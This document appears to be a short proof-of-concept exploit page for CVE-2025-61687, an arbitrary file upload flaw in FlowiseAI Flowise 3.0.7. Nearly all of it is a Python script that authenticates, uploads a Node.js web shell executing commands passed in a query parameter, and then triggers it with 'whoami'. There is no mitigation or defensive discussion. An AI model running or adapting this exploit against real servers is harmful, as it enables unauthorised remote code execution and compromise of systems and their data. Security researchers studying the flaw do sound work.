CVE-2025-61687：FlowiseAI 任意文件上传导致远程代码执行漏洞

# CVE-2025-61687 PoC - FlowiseAI Flowise Arbitrary File Upload to RCE # Vulnerability: Unrestricted file upload in attachments endpoint # Affected: FlowiseAI Flowise version 3.0.7 import requests # Target configuration TARGET_URL = "http://target-flowise-server:3000" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to obtain session/token session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/v1/auth/login", json=login_payload) token = login_resp.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Create a malicious Node.js web shell payload web_shell_content = ''' const express = require('express'); const { exec } = require('child_process'); const app = express(); app.get('/shell', (req, res) => { const cmd = req.query.cmd || 'id'; exec(cmd, (error, stdout, stderr) => { res.send(`<pre>${stdout || stderr}</pre>`); }); }); app.listen(0, () => console.log('Shell active')); ''' # Step 3: Upload the web shell via the attachments endpoint files = { "file": ("shell.js", web_shell_content, "application/javascript") } upload_resp = session.post( f"{TARGET_URL}/api/v1/attachments/upload", files=files, headers=headers ) print(f"Upload response: {upload_resp.status_code}") print(f"Uploaded file location: {upload_resp.json()}") # Step 4: Access the uploaded web shell to execute commands shell_url = upload_resp.json().get("location", "/uploads/shell.js") exploit_resp = session.get(f"{TARGET_URL}{shell_url}?cmd=whoami") print(f"RCE output: {exploit_resp.text}")